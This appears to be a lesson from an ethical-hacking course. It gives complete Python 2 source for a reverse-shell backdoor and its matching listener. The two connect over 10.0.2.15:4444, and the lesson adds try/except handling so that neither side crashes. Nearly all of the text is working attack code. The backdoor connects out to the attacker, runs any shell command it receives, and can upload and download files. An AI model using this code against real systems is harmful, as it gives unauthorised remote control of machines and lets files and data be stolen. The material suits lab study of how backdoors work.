#ADDING EXCEPTION TO AVOID CRASH:
If the client or server crashes, the connection will be lost.
#Backdoor crashes if:

#CODE: ADDING TRY AND EXCEPT IN BACKDOOR
- #!/usr/bin/env python
- import socket
- import subprocess
- import json
- import os
- import base64
- class Backdoor:
- def __init__(self, ip, port):
- self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.connection.connect((ip, port))
- def json_send(self, data):
- json_data = json.dumps(data)
- self.connection.send(json_data)
- def json_receive(self):
- json_data = ""
- while True:
- try:
- json_data = json_data + self.connection.recv(1024)
- return json.loads(json_data)
- except ValueError:
- continue
- def execute_system_command(self, command):
- return subprocess.check_output(command, shell=True)
- def change_working_directory_to(self, path):
- os.chdir(path)
- return "[+] Working directory has been changed" + path
- def read_file(self, path):
- with open(path, "rb") as file:
- return base64.b64encode(file.read())
- def write_file(self, path, content):
- with open(path, "wb") as file:
- file.write(base64.b64decode(content))
- return "[+] Upload sucessfull.."
- def run(self):
- while True:
- command = self.json_receive()
- try:
- if command[0] == "exit":
- self.connection.close()
- exit()
- elif command[0] == "cd" and len(command) > 1:
- command_result = self.change_working_directory_to(command[1])
- elif command[0] == "download":
- fix_blank = " ".join(command[1:])
- command_result = self.read_file(fix_blank)
- elif command[0] == "upload":
- command_result = self.write_file(command[1], command[2])
- else:
- command_result = self.execute_system_command(command)
- except Exception:
- command_result = "[-] Error during command execution."
- self.json_send(command_result)
- my_backdoor = Backdoor("10.0.2.15", 4444)
- my_backdoor.run()
#CODE: ADDING TRY AND EXCEPT IN LISTENER
- #!/usr/bin/env python
- import socket
- import json
- import base64
- class Listener:
- def __init__(self, ip, port):
- listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- listener.bind((ip, port))
- listener.listen(0)
- print("[+]Waiting for incomming connection")
- self.connection, address = listener.accept()
- print("[+]Got a connection from" + str(address))
- def json_send(self, data):
- json_data = json.dumps(data)
- self.connection.send(json_data)
- def json_receive(self):
- json_data = ""
- while True:
- try:
- json_data = json_data + self.connection.recv(1024)
- return json.loads(json_data)
- except ValueError:
- continue
- def execute_remotely(self, command):
- self.json_send(command)
- if command[0] == "exit":
- self.connection.close()
- exit()
- return self.json_receive()
- def write_file(self, path, content):
- with open(path, "wb") as file:
- file.write(base64.b64decode(content))
- return "[+] Download sucessfull.."
- def read_file(self, path):
- with open(path, "rb") as file:
- return base64.b64encode(file.read())
- def run(self):
- while True:
- command = raw_input(">> ")
- command = command.split(" ")
- try:
- if command[0] == "upload":
- file_content = self.read_file(command[1])
- command.append(file_content)
- # LIST = ["upload","sample.txt","content of the file"]
- result = self.execute_remotely(command)
- if command[0] == "download" and "[-] Error" not in result:
- fix_blank = " ".join(command[1:])
- result = self.write_file(command[1], result)
- # LIST = ["upload","sample.txt"]
- except Exception:
- result = "[-] Error during command execution."
- print(result)
- my_listener = Listener("10.0.2.15", 4444)
- my_listener.run()
#EXPLANATION
WE PUT ALL THE FUNCTIONALITY OF OUR BACKDOOR IN TRY AND EXCEPT
we will except any type of error and accept that and give result
[-] Error during command execution.
so the error got send to the listener but we do not need
so we add a condition in our listener
line = 61
if command[0] == "download" and "[-] Error" not in result:
if the error is in the result then we need to print the result
WE ALSO PUT TRY & EXCEPT IN OUR LISTENER
if there is error than give result
[-] Error during command execution.
NOTE: OUR PROGRAM WORKS IN ALL TYPES OF OS
#BACKDOOR PYTHON2
#we have written our code in python 2 which is ok cuz we will further learn to package hence it does not matter if u write ur code in python2 or 3 to see this program in python3 check-out Github